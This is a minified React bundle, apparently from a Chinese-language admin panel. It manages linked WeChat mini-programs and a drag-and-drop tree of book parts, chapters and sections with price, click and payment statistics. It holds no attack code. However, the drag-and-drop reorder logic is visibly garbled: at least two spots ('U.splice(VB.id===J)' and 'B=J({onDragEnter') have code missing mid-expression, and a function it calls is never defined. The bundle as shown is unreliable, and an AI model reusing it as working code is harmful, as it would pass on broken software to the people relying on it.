u=window.HTMLSelectElement.prototype,f=Object.getOwnPropertyDescriptor(u,"value").set;if(o!==e&&f){const m=new Event("change",{bubbles:!0});f.call(c,e),c.dispatchEvent(m)}},[o,e]),s.jsx(ht.select,{...n,style:{...c4,...n.style},ref:i,defaultValue:e})});R4.displayName=KB;function P4(t){return t===""||t===void 0}function O4(t){const e=bi(t),n=b.useRef(""),r=b.useRef(0),a=b.useCallback(o=>{const c=n.current+o;e(c),(function u(h){n.current=h,window.clearTimeout(r.current),h!==""&&(r.current=window.setTimeout(()=>u(""),1e3))})(c)},[e]),i=b.useCallback(()=>{n.current="",window.clearTimeout(r.current)},[]);return b.useEffect(()=>()=>window.clearTimeout(r.current),[]),[n,a,i]}function D4(t,e,n){const a=e.length>1&&Array.from(e).every(h=>h===e[0])?e[0]:e,i=n?t.indexOf(n):-1;let o=qB(t,Math.max(i,0));a.length===1&&(o=o.filter(h=>h!==n));const u=o.find(h=>h.textValue.toLowerCase().startsWith(a.toLowerCase()));return u!==n?u:void 0}function qB(t,e){return t.map((n,r)=>t[(e+r)%t.length])}var GB=d4,L4=h4,JB=p4,YB=m4,QB=g4,_4=x4,XB=N4,z4=S4,ZB=C4,eV=T4,tV=M4,nV=A4;const hl=GB,fl=JB,no=b.forwardRef(({className:t,children:e,...n},r)=>s.jsxs(L4,{ref:r,className:Et("flex h-10 w-full items-center justify-between rounded-md border border-input bg-background px-3 py-2 text-sm placeholder:text-muted-foreground focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1",t),...n,children:[e,s.jsx(YB,{asChild:!0,children:s.jsx(Zc,{className:"h-4 w-4 opacity-50"})})]}));no.displayName=L4.displayName;const ro=b.forwardRef(({className:t,children:e,position:n="popper",...r},a)=>s.jsx(QB,{children:s.jsxs(_4,{ref:a,className:Et("relative z-50 max-h-96 min-w-[8rem] overflow-hidden rounded-md border bg-popover text-popover-foreground shadow-md",n==="popper"&&"data-[side=bottom]:translate-y-1",t),position:n,...r,children:[s.jsx(tV,{className:"flex cursor-default items-center justify-center py-1",children:s.jsx(Kw,{className:"h-4 w-4"})}),s.jsx(XB,{className:"p-1",children:e}),s.jsx(nV,{className:"flex cursor-default items-center justify-center py-1",children:s.jsx(Zc,{className:"h-4 w-4"})})]})}));ro.displayName=_4.displayName;const _r=b.forwardRef(({className:t,children:e,...n},r)=>s.jsxs(z4,{ref:r,className:Et("relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",t),...n,children:[s.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:s.jsx(eV,{children:s.jsx(ff,{className:"h-4 w-4"})})}),s.jsx(ZB,{children:e})]}));_r.displayName=z4.displayName;function rV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(null),[u,h]=b.useState({name:"",appId:"",path:"",sort:0}),[f,m]=b.useState(!1);async function g(){r(!0);try{const k=await De("/api/admin/linked-miniprograms");if(k!=null&&k.success&&Array.isArray(k.data)){const C=[...k.data].sort((E,T)=>(E.sort??0)-(T.sort??0));e(C)}}catch(k){console.error("Load linked miniprograms error:",k),ie.error("加载失败")}finally{r(!1)}}b.useEffect(()=>{g()},[]);function y(){c(null),h({name:"",appId:"",path:"",sort:t.length}),i(!0)}function N(k){c(k),h({name:k.name,appId:k.appId,path:k.path??"",sort:k.sort??0}),i(!0)}async function w(){const k=u.name.trim(),C=u.appId.trim();if(!k||!C){ie.error("请填写小程序名称和 AppID");return}m(!0);try{if(o){const E=await zt("/api/admin/linked-miniprograms",{key:o.key,name:k,appId:C,path:u.path.trim(),sort:u.sort});E!=null&&E.success?(ie.success("已更新"),i(!1),g()):ie.error((E==null?void 0:E.error)??"更新失败")}else{const E=await vt("/api/admin/linked-miniprograms",{name:k,appId:C,path:u.path.trim(),sort:u.sort});E!=null&&E.success?(ie.success("已添加"),i(!1),g()):ie.error((E==null?void 0:E.error)??"添加失败")}}catch{ie.error("操作失败")}finally{m(!1)}}async function v(k){if(confirm(`确定要删除「${k.name}」吗?`))try{const C=await Bs(`/api/admin/linked-miniprograms/${k.key}`);C!=null&&C.success?(ie.success("已删除"),g()):ie.error((C==null?void 0:C.error)??"删除失败")}catch{ie.error("删除失败")}}return s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5 text-[#38bdac]"}),"关联小程序管理"]}),s.jsx(It,{className:"text-gray-400",children:"添加后生成 32 位密钥,链接标签选择小程序时存密钥;小程序端点击 #标签 时用密钥查 appId 再跳转。需在 app.json 的 navigateToMiniProgramAppIdList 中配置目标 AppID。"})]}),s.jsxs(Ee,{children:[s.jsxs("div",{className:"flex justify-end gap-2 mb-4",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50",onClick:()=>g(),title:"刷新",children:s.jsx(Ke,{className:"w-4 h-4"})}),s.jsxs(te,{onClick:y,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加关联小程序"]})]}),n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"名称"}),s.jsx(ke,{className:"text-gray-400",children:"密钥"}),s.jsx(ke,{className:"text-gray-400",children:"AppID"}),s.jsx(ke,{className:"text-gray-400",children:"路径"}),s.jsx(ke,{className:"text-gray-400 w-24",children:"排序"}),s.jsx(ke,{className:"text-gray-400 w-32",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(k=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-white",children:k.name}),s.jsx(ve,{className:"text-gray-300 font-mono text-xs",children:k.key}),s.jsx(ve,{className:"text-gray-300 font-mono text-sm",children:k.appId}),s.jsx(ve,{className:"text-gray-400 text-sm",children:k.path||"—"}),s.jsx(ve,{className:"text-gray-300",children:k.sort??0}),s.jsx(ve,{children:s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-[#38bdac] hover:bg-[#38bdac]/20",onClick:()=>N(k),children:s.jsx(nj,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:bg-red-500/20",onClick:()=>v(k),children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},k.key)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:6,className:"text-center py-12 text-gray-500",children:"暂无关联小程序,点击「添加关联小程序」开始配置"})})]})]})]})]}),s.jsx(Dt,{open:a,onOpenChange:i,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md p-4 gap-3",children:[s.jsxs(Lt,{className:"gap-1",children:[s.jsx(_t,{className:"text-base",children:o?"编辑关联小程序":"添加关联小程序"}),s.jsx(yf,{className:"text-gray-400 text-xs",children:"填写目标小程序的名称和 AppID,路径可选(为空则打开首页)"})]}),s.jsxs("div",{className:"space-y-3 py-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"小程序名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm",placeholder:"例如:Soul 创业派对",value:u.name,onChange:k=>h(C=>({...C,name:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono h-8 text-sm",placeholder:"例如:wxb8bbb2b10dec74aa",value:u.appId,onChange:k=>h(C=>({...C,appId:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"路径(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm",placeholder:"例如:pages/index/index",value:u.path,onChange:k=>h(C=>({...C,path:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"排序"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm w-20",value:u.sort,onChange:k=>h(C=>({...C,sort:parseInt(k.target.value,10)||0}))})]})]}),s.jsxs(on,{className:"gap-2 pt-1",children:[s.jsx(te,{variant:"outline",onClick:()=>i(!1),className:"border-gray-600",children:"取消"}),s.jsx(te,{onClick:w,disabled:f,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:f?"保存中...":"保存"})]})]})})]})}const sV=["一","二","三","四","五","六","七","八","九","十"];function Ng(t){return t.startsWith("part:")?{type:"part",id:t.slice(5)}:t.startsWith("chapter:")?{type:"chapter",id:t.slice(8)}:t.startsWith("section:")?{type:"section",id:t.slice(8)}:null}function aV({parts:t,expandedParts:e,onTogglePart:n,onReorder:r,onReadSection:a,onDeleteSection:i,onAddSectionInPart:o,onAddChapterInPart:c,onDeleteChapter:u,onEditPart:h,onDeletePart:f,onEditChapter:m,selectedSectionIds:g=[],onToggleSectionSelect:y,onShowSectionOrders:N,pinnedSectionIds:w=[]}){const[v,k]=b.useState(null),[C,E]=b.useState(null),T=(_,Z)=>(v==null?void 0:v.type)===_&&(v==null?void 0:v.id)===Z,I=(_,Z)=>(C==null?void 0:C.type)===_&&(C==null?void 0:C.id)===Z,O=b.useCallback(()=>{const _=[];for(const Z of t)for(const ne of Z.chapters)for(const fe of ne.sections)_.push({id:fe.id,partId:Z.id,partTitle:Z.title,chapterId:ne.id,chapterTitle:ne.title});return _},[t]),L=b.useCallback(async(_,Z,ne,fe)=>{var P;_.preventDefault(),_.stopPropagation();const xe=_.dataTransfer.getData("text/plain"),$=Ng(xe);if(!$||$.type===Z&&$.id===ne)return;const H=O(),oe=new Map(H.map(K=>[K.id,K]));if($.type==="part"&&Z==="part"){const K=t.map(J=>J.id),V=K.indexOf($.id),z=K.indexOf(ne);if(V===-1||z===-1)return;const U=[...K];U.splice(V,1),U.splice(VB.id===J);if(Y)for(const B of Y.chapters)for(const re of B.sections){const ue=oe.get(re.id);ue&&le.push(ue)}}await r(le);return}if($.type==="chapter"&&(Z==="chapter"||Z==="section"||Z==="part")){const K=t.find(ue=>ue.chapters.some(ce=>ce.id===$.id)),V=K==null?void 0:K.chapters.find(ue=>ue.id===$.id);if(!K||!V)return;let z,U,le=null;if(Z==="section"){const ue=oe.get(ne);if(!ue)return;z=ue.partId,U=ue.partTitle,le=ne}else if(Z==="chapter"){const ue=t.find(Re=>Re.chapters.some(Le=>Le.id===ne)),ce=ue==null?void 0:ue.chapters.find(Re=>Re.id===ne);if(!ue||!ce)return;z=ue.id,U=ue.title;const ye=H.filter(Re=>Re.chapterId===ne).pop();le=(ye==null?void 0:ye.id)??null}else{const ue=t.find(ye=>ye.id===ne);if(!ue||!ue.chapters[0])return;z=ue.id,U=ue.title;const ce=H.filter(ye=>ye.partId===ue.id&&ye.chapterId===ue.chapters[0].id);le=((P=ce[ce.length-1])==null?void 0:P.id)??null}const J=V.sections.map(ue=>ue.id),Y=H.filter(ue=>!J.includes(ue.id));let B=Y.length;if(le){const ue=Y.findIndex(ce=>ce.id===le);ue>=0&&(B=ue+1)}const re=J.map(ue=>({...oe.get(ue),partId:z,partTitle:U,chapterId:V.id,chapterTitle:V.title}));await r([...Y.slice(0,B),...re,...Y.slice(B)]);return}if($.type==="section"&&(Z==="section"||Z==="chapter"||Z==="part")){if(!fe)return;const{partId:K,partTitle:V,chapterId:z,chapterTitle:U}=fe;let le;if(Z==="section")le=H.findIndex(ce=>ce.id===ne);else if(Z==="chapter"){const ce=H.filter(ye=>ye.chapterId===ne).pop();le=ce?H.findIndex(ye=>ye.id===ce.id)+1:H.length}else{const ce=t.find(Le=>Le.id===ne);if(!(ce!=null&&ce.chapters[0]))return;const ye=H.filter(Le=>Le.partId===ce.id&&Le.chapterId===ce.chapters[0].id),Re=ye[ye.length-1];le=Re?H.findIndex(Le=>Le.id===Re.id)+1:0}const J=H.findIndex(ce=>ce.id===$.id);if(J===-1)return;const Y=H.filter(ce=>ce.id!==$.id),B=J({onDragEnter:fe=>{fe.preventDefault(),fe.stopPropagation(),fe.dataTransfer.dropEffect="move",E({type:_,id:Z})},onDragOver:fe=>{fe.preventDefault(),fe.stopPropagation(),fe.dataTransfer.dropEffect="move",E({type:_,id:Z})},onDragLeave:()=>E(null),onDrop:fe=>{E(null);const xe=Ng(fe.dataTransfer.getData("text/plain"));if(xe&&!(_==="section"&&xe.type==="section"&&xe.id===Z))if(_==="part")if(xe.type==="part")L(fe,"part",Z);else{const $=t.find(oe=>oe.id===Z);($==null?void 0:$.chapters[0])&&ne&&L(fe,"part",Z,ne)}else _==="chapter"&&ne?(xe.type==="section"||xe.type==="chapter")&&L(fe,"chapter",Z,ne):_==="section"&&ne&&L(fe,"section",Z,ne)}}),D=_=>sV[_]??String(_+1);return s.jsx("div",{className:"space-y-3",children:t.map((_,Z)=>{var V,z,U,le;const ne=_.title==="序言"||_.title.includes("序言"),fe=_.title==="尾声"||_.title.includes("尾声"),xe=_.title==="附录"||_.title.includes("附录"),$=I("part",_.id),H=e.includes(_.id),oe=_.chapters.length,P=_.chapters.reduce((J,Y)=>J+Y.sections.length,0);if(ne&&_.chapters.length===1&&_.chapters[0].sections.length===1){const J=_.chapters[0].sections[0],Y=I("section",J.id),B={partId:_.id,partTitle:_.title,chapterId:_.chapters[0].id,chapterTitle:_.chapters[0].title};return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+J.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:J.id})},onDragEnd:()=>{k(null),E(null)},className:`rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between hover:border-[#38bdac]/30 transition-colors cursor-grab active:cursor-grabbing select-none min-h-[40px] ${Y?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",J.id,B),children:[s.jsxs("div",{className:"flex items-center gap-3 flex-1 min-w-0 select-none",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(J.id),onChange:()=>y(J.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx("div",{className:"w-8 h-8 rounded-lg bg-gray-600/50 flex items-center justify-center shrink-0",children:s.jsx(Br,{className:"w-4 h-4 text-gray-400"})}),s.jsxs("span",{className:"font-medium text-gray-200 truncate",children:[_.chapters[0].title," | ",J.title]}),w.includes(J.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3.5 h-3.5 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:re=>re.stopPropagation(),onClick:re=>re.stopPropagation(),children:[J.price===0||J.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",J.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",J.clickCount??0," · 付款 ",J.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(J.hotScore??0).toFixed(1)," · 第",J.hotRank&&J.hotRank>0?J.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(J),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(J),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},_.id)}if(_.title==="2026每日派对干货"||_.title.includes("2026每日派对干货")){const J=I("part",_.id);return s.jsxs("div",{className:`rounded-xl border overflow-hidden transition-all duration-200 ${J?"border-[#38bdac] ring-2 ring-[#38bdac]/40 bg-[#38bdac]/5":"border-gray-700/50 bg-[#1C1C1E]"}`,...R("part",_.id,{partId:_.id,partTitle:_.title,chapterId:((V=_.chapters[0])==null?void 0:V.id)??"",chapterTitle:((z=_.chapters[0])==null?void 0:z.title)??""}),children:[s.jsxs("div",{draggable:!0,onDragStart:Y=>{Y.stopPropagation(),Y.dataTransfer.setData("text/plain","part:"+_.id),Y.dataTransfer.effectAllowed="move",k({type:"part",id:_.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between p-4 cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${T("part",_.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":"hover:bg-[#162840]/50"}`,onClick:()=>n(_.id),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),s.jsx("div",{className:"w-10 h-10 rounded-xl bg-[#38bdac]/80 flex items-center justify-center text-white font-bold shrink-0",children:"派"}),s.jsxs("div",{children:[s.jsx("h3",{className:"font-bold text-white text-base",children:_.title}),s.jsxs("p",{className:"text-xs text-gray-500 mt-0.5",children:["共 ",P," 节"]})]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:Y=>Y.stopPropagation(),onClick:Y=>Y.stopPropagation(),children:[o&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>o(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"在本篇下新增章节",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),h&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>h(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑篇名",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),f&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>f(_),className:"text-gray-500 hover:text-red-400 h-7 px-2",title:"删除本篇",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})}),s.jsxs("span",{className:"text-xs text-gray-500",children:[oe,"章"]}),H?s.jsx(Zc,{className:"w-5 h-5 text-gray-500"}):s.jsx(pl,{className:"w-5 h-5 text-gray-500"})]})]}),H&&_.chapters.length>0&&s.jsx("div",{className:"border-t border-gray-700/50 pl-4 pr-4 pb-4 pt-3 space-y-4",children:_.chapters.map(Y=>s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2 w-full",children:[s.jsx("p",{className:"text-xs text-gray-500 pb-1 flex-1",children:Y.title}),s.jsxs("div",{className:"flex gap-0.5 shrink-0",onClick:B=>B.stopPropagation(),children:[m&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>m(_,Y),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑章节名称",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),c&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>c(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"新增第X章",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),u&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>u(_,Y),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",title:"删除本章",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx("div",{className:"space-y-1 pl-2",children:Y.sections.map(B=>{const re=I("section",B.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+B.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:B.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between py-2 px-3 rounded-lg min-h-[40px] cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",B.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",B.id,{partId:_.id,partTitle:_.title,chapterId:Y.id,chapterTitle:Y.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(B.id),onChange:()=>y(B.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-200 truncate",children:[B.id," ",B.title]}),w.includes(B.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",B.clickCount??0," · 付款 ",B.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(B.hotScore??0).toFixed(1)," · 第",B.hotRank&&B.hotRank>0?B.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(B),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(B),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(B),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]},B.id)})})]},Y.id))})]},_.id)}if(xe)return s.jsxs("div",{className:"rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-5",children:[s.jsx("h3",{className:"text-sm font-medium text-gray-400 mb-4",children:"附录"}),s.jsx("div",{className:"space-y-3",children:_.chapters.map((J,Y)=>J.sections.length>0?J.sections.map(B=>{const re=I("section",B.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+B.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:B.id})},onDragEnd:()=>{k(null),E(null)},className:`flex justify-between items-center py-2 select-none rounded px-2 -mx-2 group cursor-grab active:cursor-grabbing min-h-[40px] transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",B.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",B.id,{partId:_.id,partTitle:_.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(B.id),onChange:()=>y(B.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-300 truncate",children:["附录",Y+1," | ",J.title," | ",B.title]}),w.includes(B.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",B.clickCount??0," · 付款 ",B.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(B.hotScore??0).toFixed(1)," · 第",B.hotRank&&B.hotRank>0?B.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(B),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1 opacity-0 group-hover:opacity-100 transition-opacity",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>a(B),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>i(B),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx(pl,{className:"w-4 h-4 text-gray-500 shrink-0"})]},B.id)}):s.jsxs("div",{className:"flex justify-between items-center py-2 select-none hover:bg-[#162840]/50 rounded px-2 -mx-2",children:[s.jsxs("span",{className:"text-sm text-gray-500",children:["附录",Y+1," | ",J.title,"(空)"]}),s.jsx(pl,{className:"w-4 h-4 text-gray-500 shrink-0"})]},J.id))})]},_.id);if(fe&&_.chapters.length===1&&_.chapters[0].sections.length===1){const J=_.chapters[0].sections[0],Y=I("section",J.id),B={partId:_.id,partTitle:_.title,chapterId:_.chapters[0].id,chapterTitle:_.chapters[0].title};return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+J.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:J.id})},onDragEnd:()=>{k(null),E(null)},className:`rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between hover:border-[#38bdac]/30 transition-colors cursor-grab active:cursor-grabbing select-none min-h-[40px] ${Y?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",J.id,B),children:[s.jsxs("div",{className:"flex items-center gap-3 flex-1 min-w-0 select-none",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(J.id),onChange:()=>y(J.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx("div",{className:"w-8 h-8 rounded-lg bg-gray-600/50 flex items-center justify-center shrink-0",children:s.jsx(Br,{className:"w-4 h-4 text-gray-400"})}),s.jsxs("span",{className:"font-medium text-gray-200 truncate",children:[_.chapters[0].title," | ",J.title]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:re=>re.stopPropagation(),onClick:re=>re.stopPropagation(),children:[J.price===0||J.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",J.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",J.clickCount??0," · 付款 ",J.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(J.hotScore??0).toFixed(1)," · 第",J.hotRank&&J.hotRank>0?J.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(J),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(J),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},_.id)}return fe?s.jsxs("div",{className:"rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-5",children:[s.jsx("h3",{className:"text-sm font-medium text-gray-400 mb-4",children:"尾声"}),s.jsx("div",{className:"space-y-3",children:_.chapters.map(J=>J.sections.map(Y=>{const B=I("section",Y.id);return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+Y.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:Y.id})},onDragEnd:()=>{k(null),E(null)},className:`flex justify-between items-center py-2 select-none rounded px-2 -mx-2 cursor-grab active:cursor-grabbing min-h-[40px] transition-all duration-200 ${B?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",Y.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",Y.id,{partId:_.id,partTitle:_.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center 